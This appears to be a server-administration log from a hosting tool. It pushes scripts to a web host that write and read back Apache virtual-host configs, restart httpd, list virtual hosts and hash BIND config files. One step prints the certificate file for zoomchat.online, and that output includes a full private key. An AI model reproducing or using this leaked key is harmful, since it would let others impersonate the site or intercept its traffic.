        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>



----boundary-6506b6c63ab0478b95fb419cca0e56fb----

chmod 644 $temp_file

cd $BASE
cp -f $temp_file $TARGET
rm $temp_file
if [ $DOCROOT != "-" ]; then
	mkdir -p 
	mkdir -p $DOCROOT/$PUBLIC
	chown -R : $DOCROOT
	ln -s "..//etc/httpd/conf.d/zoomchat_www_online.conf" "$BASE/sites-enabled/$BASENAME" > /dev/null 2>&1
	echo 'link(/etc/httpd/sites-enabled/zoomchat_www_online.conf)= /etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf'
	echo 'file(/etc/httpd//etc/httpd/conf.d/zoomchat_www_online.conf= 1'
fi


2025-10-22 12:27:09: 

chmod 755 /tmp/pkp656097; /tmp/pkp656097; rm /tmp/pkp656097

2025-10-22 12:27:09: 




2025-10-22 12:27:09: 

PUT: /tmp/pkp366673

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl graceful
fi 
if [ -f "/usr/local/opt/httpd/bin/httpd" ]; then
	export HOMEBREW_NO_INSTALL_FROM_API=1
	brew services restart httpd

fi
echo .

2025-10-22 12:27:10: 

chmod 755 /tmp/pkp366673; /tmp/pkp366673; rm /tmp/pkp366673

2025-10-22 12:27:10: 


.


2025-10-22 12:27:10: Establishing a connection
2025-10-22 12:27:11: 

PUT: /tmp/pkp622807

#!/bin/bash
if [ -f "/usr/sbin/apachectl" ]; then
	/usr/sbin/apachectl -S
fi
echo .

2025-10-22 12:27:12: 

chmod 755 /tmp/pkp622807; /tmp/pkp622807; rm /tmp/pkp622807

2025-10-22 12:27:12: 


[Wed Oct 22 12:27:12.906567 2025] [so:warn] [pid 352024:tid 140062657898816] AH01574: module status_module is already loaded, skipping
VirtualHost configuration:
*:80                   is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:1)
         port 80 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:2)
         port 80 namevhost voip.patientapps.net (/etc/httpd/conf.d/patientapps.conf:1)
         port 80 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:2)
         port 80 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:2)
*:443                  is a NameVirtualHost
         default server messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost messier.hostz.org (/etc/httpd/conf.d/hostz_messier.conf:26)
         port 443 namevhost repo.hostz.org (/etc/httpd/conf.d/hostz_repo_org.conf:29)
         port 443 namevhost messier.pjy.us (/etc/httpd/conf.d/ssl.conf:40)
         port 443 namevhost zoomchat.net (/etc/httpd/conf.d/zoomchat_www_net.conf:31)
         port 443 namevhost zoomchat.online (/etc/httpd/conf.d/zoomchat_www_online.conf:26)
ServerRoot: "/etc/httpd"
Main DocumentRoot: "/var/www/html"
Main ErrorLog: "/etc/httpd/logs/error_log"
Mutex authdigest-opaque: using_defaults
Mutex watchdog-callback: using_defaults
Mutex proxy-balancer-shm: using_defaults
Mutex rewrite-map: using_defaults
Mutex ssl-stapling-refresh: using_defaults
Mutex authdigest-client: using_defaults
Mutex lua-ivm-shm: using_defaults
Mutex ssl-stapling: using_defaults
Mutex proxy: using_defaults
Mutex authn-socache: using_defaults
Mutex ssl-cache: using_defaults
Mutex default: dir="/etc/httpd/run/" mechanism=default 
Mutex cache-socache: using_defaults
PidFile: "/etc/httpd/run/httpd.pid"
Define: DUMP_VHOSTS
Define: DUMP_RUN_CFG
User: name="asterisk" id=1000
Group: name="asterisk" id=1000
.




STDERR:
[Wed Oct 22 12:27:12.906567 2025] [so:warn] [pid 352024:tid 140062657898816] AH01574: module status_module is already loaded, skipping


2025-10-22 12:27:12: 

PUT: /tmp/pkp609954

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/httpd/conf.d/zoomchat_www_online.conf')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:27:13: 

chmod 755 /tmp/pkp609954; /tmp/pkp609954; rm /tmp/pkp609954

2025-10-22 12:27:13: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/httpd/conf.d/zoomchat_www_online.conf	1737

<VirtualHost *:80>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_error.log
    SetEnv pkp_uid	4
    SetEnv pkp_owner	phil
</VirtualHost>

<VirtualHost *:443>
    ServerName	zoomchat.online
    ServerAdmin	do_not_email@example.com
    SSLEngine	on
    SSLProtocol	all -SSLv2
    SSLCipherSuite	ALL:!ADH:!EXPORT:!SSLv2:RC4+RSA:+HIGH:+MEDIUM:+LOW
    SSLCertificateFile	/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt
    DocumentRoot	/var/www/zoomchat_www
    <Directory /var/www/zoomchat_www>
        Options	+FollowSymLinks -MultiViews
        AllowOverride	All
        Require	all granted
        <Files "index.html">
            FileETag	None
            Header	unset ETag
            Header set Cache-Control	"max-age=0, no-cache, no-store, must-revalidate"
            Header set Pragma	"no-cache"
            Header set Expires	"Wed, 11 Jan 1984 05:00:00 GMT"
        </Files>
        
    </Directory>
    
    CustomLog	/var/log/httpd/zoomchat/www_secure_access.log combined
    ErrorLog	/var/log/httpd/zoomchat/www_secure_error.log
    SetEnv pkp_uid	
    SetEnv pkp_owner	
</VirtualHost>







2025-10-22 12:27:13: 

PUT: /tmp/pkp449860

#!/usr/bin/python3
import os, os.path, sys, gzip, tempfile, codecs
BOUNDARY = '----boundary-6506b6c63ab0478b95fb419cca0e56fb----'
jones = tempfile.NamedTemporaryFile(delete = False)
gz = gzip.open(jones.name, 'wb')

def show_file(filename):
    if os.path.isfile(filename):
        f = open(filename, 'r')
        sz = os.path.getsize(filename)
        content = f.read()
        payload = BOUNDARY + "\n"
        gz.write(payload.encode('cp437'))
        payload = filename + "\t" + str(sz) + "\n"
        gz.write(payload.encode('cp437'))
        payload = content + "\n"
        gz.write(payload.encode('cp437'))
        gz.write("\n".encode('cp437'))
        f.close()

try:
    show_file('/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt')

finally:
    gz.close();

sys.stdout = codecs.getwriter('latin-1')(sys.stdout.detach())
with open(jones.name, 'rb') as f:
    data = f.read()
    sys.stdout.write(data.decode('latin-1'))
    f.close()
os.remove(jones.name)


2025-10-22 12:27:14: 

chmod 755 /tmp/pkp449860; /tmp/pkp449860; rm /tmp/pkp449860

2025-10-22 12:27:14: 
(gzipped output)


----boundary-6506b6c63ab0478b95fb419cca0e56fb----
/etc/pki/tls/certs//842c702c1ca7114dc2c211c70793b244.crt	5349
e5:3e:f3:a6:9d:0e:04:b3:94:dc:a3:e4:31:9a:33:4e

-----BEGIN CERTIFICATE-----
MIIE/DCCA+SgAwIBAgISBYhLh3IQVYZN2N1YrSg5ra3uMA0GCSqGSIb3DQEBCwUA
MDMxCzAJBgNVBAYTAlVTMRYwFAYDVQQKEw1MZXQncyBFbmNyeXB0MQwwCgYDVQQD
EwNSMTIwHhcNMjUxMDIyMTEyODMyWhcNMjYwMTIwMTEyODMxWjAaMRgwFgYDVQQD
Ew96b29tY2hhdC5vbmxpbmUwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCs+HTNUhLqh4lzT+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/w
CuK4JsneXsVvyG6ghPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbr
qHHXKwjd1/GlmDZc1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+
J4yLWLqFMHuwPjIirMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GW
qaazj0c7nLJo62OFEbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+
7V6vWsiY1KRoIVUe9mvcUwydAgMBAAGjggIhMIICHTAOBgNVHQ8BAf8EBAMCBaAw
HQYDVR0lBBYwFAYIKwYBBQUHAwEGCCsGAQUFBwMCMAwGA1UdEwEB/wQCMAAwHQYD
VR0OBBYEFA00ypFYD/Y14WuFHE8uzsd4tUUTMB8GA1UdIwQYMBaAFAC1KfItjm8x
6JtMrXg++tzpDNHSMDMGCCsGAQUFBwEBBCcwJTAjBggrBgEFBQcwAoYXaHR0cDov
L3IxMi5pLmxlbmNyLm9yZy8wGgYDVR0RBBMwEYIPem9vbWNoYXQub25saW5lMBMG
A1UdIAQMMAowCAYGZ4EMAQIBMC8GA1UdHwQoMCYwJKAioCCGHmh0dHA6Ly9yMTIu
Yy5sZW5jci5vcmcvMTExLmNybDCCAQUGCisGAQQB1nkCBAIEgfYEgfMA8QB2AGQR
xGykEuyniRyiAi4AvKtPKAfUHjUnq+r+1QPJfc3wAAABmgvjE7oAAAQDAEcwRQIh
ANq+uZ9Utz1T41tLbU2niCt7EEuiADgG84Qi4qFiecZuAiAmlUM9yDKDwUNZKTeq
Z7eb2RIkBAb24C21JqdLhx1cdwB3AMs49xWJfIShRF9bwd37yW7ymlnNRwppBYWw
yxTDFFjnAAABmgvjE90AAAQDAEgwRgIhAKMyPVNcQCvadFGU/9I7Ha9G524s+erL
0PsQm6lLACMtAiEAgwfLGFoNSdKhxNPz3HzgF4g9D3wFZPNRYH9HUcSOIdUwDQYJ
KoZIhvcNAQELBQADggEBAG0PMkKKd90N85EnhPW8JKUuMGT/amnIRxrgpGgGH7cC
nVWZgg8tl01mOLgWvbBNdA14shWyjnZI2LNNHz0MurLS1BGbvW90mDDCnKCk5ga3
jIvkZJBWbg1r1TfX5OULAnUmCG+biKSJRVGK9JpGJfxRIJkmiLShAY/F2d4y/blz
ltt8BuuT3YfN58I9Hc07ogVM7wIWZHR2zLmYody0sU7Kd0wuFpI8mkTFNeKB7P0v
B3Ao5hgOlwCL1ZDvOMRCWyOqosfoiy7Ms1pxjvbZbG/rLHy3l8mJoAHnJJGT80r0
VO7U0s+ODG5mZvmJ67ygs+CJIYjqPMJHGLBADap0lR0=
-----END CERTIFICATE-----



-----BEGIN PRIVATE KEY-----
MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCs+HTNUhLqh4lz
T+LuS4qTycm0kPteHw6luW/WDxIniSuHGvCyK34gjmxmtk/wCuK4JsneXsVvyG6g
hPEmkrG1w4Q65tvBXXMCr2aLwiKJhQJTmierKtXVtqtJSCbrqHHXKwjd1/GlmDZc
1/a7FXoAvxiwYIKA5GNNw0H5r+tnFzGSiQqtS0LAHxwsIuK+J4yLWLqFMHuwPjIi
rMOQo0/PgSb26KlVqpIeGYJSeuUkQzQ0wlxJ76TbLm6gU4GWqaazj0c7nLJo62OF
EbGElRcIdY9joM8gSbgVPBNiF3nDz6ds+SelFCoPGfso5PD+7V6vWsiY1KRoIVUe
9mvcUwydAgMBAAECggEAG7nDtzmlsJRDMwmmHX5cWy4oN9pZgI/H4EamJ5DI3y98
m6500IpqMDvEIn6st5R3HP+SsiNM0Is3OGG26fDvrWwGoQ5qQUeCbPbCoDphINwC
MHZwT16RYi1irV90Zafdf5j1VeIMaPfKFv3DHd/ma4I2Ked+Y7y4MjnPNH+/Ywmw
AR8TksJikVeQN4ylndzQrRFA1Kw+rk73PXyTj/QNd7++wu9jJDxjEJMR7ixBXOKn
1ZPCtrvLnMk3s82KWy9QwbZnHTlyVzeIvJMJeFvzOOHxCHZZCfAqLLYQIcxBpjRY
hDLJcIUJA2r8+rKPIfR7p5JS8DIlOWy7M+6vuySKIQKBgQDlZ7W8N0dPn8Km5ZRa
vjyiK5wPvxnifFsKteBbLo3yreHxkINhJuACyk747zkI335AxOK3akf2Ebzu5S1D
0iKoUZ78MJ072nZstzQzIABo6yBkac8vFg5n0eslPggQUs8rrVvVYGnRQeO7/7ty
bG+4L5t7mEjRdfMj8iP0VPoVKQKBgQDBBeEn3SwBRGyy5ydx4l8Yb1XIPPXJ502W
AIepHp02cAmLQtARC0vt7hg2vs7yJhy8dD7fUtxinlaPFU9fc+vomH9rJX+CoKO0
o4RNAsz7yKUsq/+MlhUZgg+4wEIdFL1aRq+6onnQhGVwwpQQ0xQ2tynnfbq/xx7y
KgW5TkSWVQKBgBc/5YlHyPBm7qFfjyOLODXvWYe3BHaRx+BUAoL7OuOnf8itrsL/
36AoxMwx4oPlsrP5wEh6ewSTU6SakXXYLC8G5qgEfUr9nxbxklbEHYaEnenPV3Ic
OCWJft1tZf/RhLGWhkIf3VmZ5ey9xE+acdAm8wkZq/eejp/MAJzYp+fRAoGAf0+7
dCmjDqrs7wsbrzfZ9Snp8IqUqzkOqXNsBxYUJ4W6JcpJphRHXoV+Hw23PWv55Crg
FTh39+vrt7AcjB7PaLi8whUXhzchAtIfPxQr055Bo7dGdJnBDPQGHptggAHf6p1Y
5sanhertZXRRaM9wM66XywHYnQle1eb1o4WGI4kCgYEAjpIpnCTz6RpFD4O9K/1e
ij0n3tthGzfpKcYJEQnn5Sm4hj3UIdzSAlxrbvNiI1A6oMGUeHa7uoV1HSBfyAlS
iS6lwhi6uscSyvKkKkuzyPAsHqLlyYlWpdVvCG/s6lWZ7fd4WuZuqXe3MehtYNye
6DxNZENRXjqV4clN9X2dq14=
-----END PRIVATE KEY-----

-----BEGIN CERTIFICATE-----
MIIFBjCCAu6gAwIBAgIRAMISMktwqbSRcdxA9+KFJjwwDQYJKoZIhvcNAQELBQAw
TzELMAkGA1UEBhMCVVMxKTAnBgNVBAoTIEludGVybmV0IFNlY3VyaXR5IFJlc2Vh
cmNoIEdyb3VwMRUwEwYDVQQDEwxJU1JHIFJvb3QgWDEwHhcNMjQwMzEzMDAwMDAw
WhcNMjcwMzEyMjM1OTU5WjAzMQswCQYDVQQGEwJVUzEWMBQGA1UEChMNTGV0J3Mg
RW5jcnlwdDEMMAoGA1UEAxMDUjEyMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIB
CgKCAQEA2pgodK2+lP474B7i5Ut1qywSf+2nAzJ+Npfs6DGPpRONC5kuHs0BUT1M
5ShuCVUxqqUiXXL0LQfCTUA83wEjuXg39RplMjTmhnGdBO+ECFu9AhqZ66YBAJpz
kG2Pogeg0JfT2kVhgTU9FPnEwF9q3AuWGrCf4yrqvSrWmMebcas7dA8827JgvlpL
Thjp2ypzXIlhZZ7+7Tymy05v5J75AEaz/xlNKmOzjmbGGIVwx1Blbzt05UiDDwhY
XS0jnV6j/ujbAKHS9OMZTfLuevYnnuXNnC2i8n+cF63vEzc50bTILEHWhsDp7CH4
WRt/uTp8n1wBnWIEwii9Cq08yhDsGwIDAQABo4H4MIH1MA4GA1UdDwEB/wQEAwIB
hjAdBgNVHSUEFjAUBggrBgEFBQcDAgYIKwYBBQUHAwEwEgYDVR0TAQH/BAgwBgEB
/wIBADAdBgNVHQ4EFgQUALUp8i2ObzHom0yteD763OkM0dIwHwYDVR0jBBgwFoAU
ebRZ5nu25eQBc4AIiMgaWPbpm24wMgYIKwYBBQUHAQEEJjAkMCIGCCsGAQUFBzAC
hhZodHRwOi8veDEuaS5sZW5jci5vcmcvMBMGA1UdIAQMMAowCAYGZ4EMAQIBMCcG
A1UdHwQgMB4wHKAaoBiGFmh0dHA6Ly94MS5jLmxlbmNyLm9yZy8wDQYJKoZIhvcN
AQELBQADggIBAI910AnPanZIZTKS3rVEyIV29BWEjAK/duuz8eL5boSoVpHhkkv3
4eoAeEiPdZLj5EZ7G2ArIK+gzhTlRQ1q4FKGpPPaFBSpqV/xbUb5UlAXQOnkHn3m
FVj+qYv87/WeY+Bm4sN3Ox8BhyaU7UAQ3LeZ7N1X01xxQe4wIAAE3JVLUCiHmZL+
qoCUtgYIFPgcg350QMUIWgxPXNGEncT921ne7nluI02V8pLUmClqXOsCwULw+PVO
ZCB7qOMxxMBoCUeL2Ll4oMpOSr5pJCpLN3tRA2s6P1KLs9TSrVhOk+7LX28NMUlI
usQ/nxLJID0RhAeFtPjyOCOscQBA53+NRjSCak7P4A5jX7ppmkcJECL+S0i3kXVU
y5Me5BbrU8973jZNv/ax6+ZK6TM8jWmimL6of6OrX7ZU6E2WqazzsFrLG3o2kySb
zlhSgJ81Cl4tv3SbYiYXnJExKQvzf83DYotox3f0fwv7xln1A2ZLplCb0O+l/AK0
YE0DS2FPxSAHi0iwMfW2nNHJrXcY3LLHD77gRgje4Eveubi2xxa+Nmk/hmhLdIET
iVDFanoCrMVIpQ59XWHkzdFmoHXHBV7oibVjGSO7ULSQ7MJ1Nz51phuDJSgAIU7A
0zrLnOrAj/dfrlEWRhCvAgbuwLZX1A2sjNjXoPOHbsPiy+lO1KF8/XY7
-----END CERTIFICATE-----






2025-10-22 12:29:14: Establishing a connection
2025-10-22 12:29:14: 

PUT: /tmp/pkp951076

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2025-10-22 12:29:14: 

runuser -l bind -s /bin/bash -c '/tmp/pkp951076; rm /tmp/pkp951076'

2025-10-22 12:29:14: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 375a64f534f63b93f1dcfccf9cc415bd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
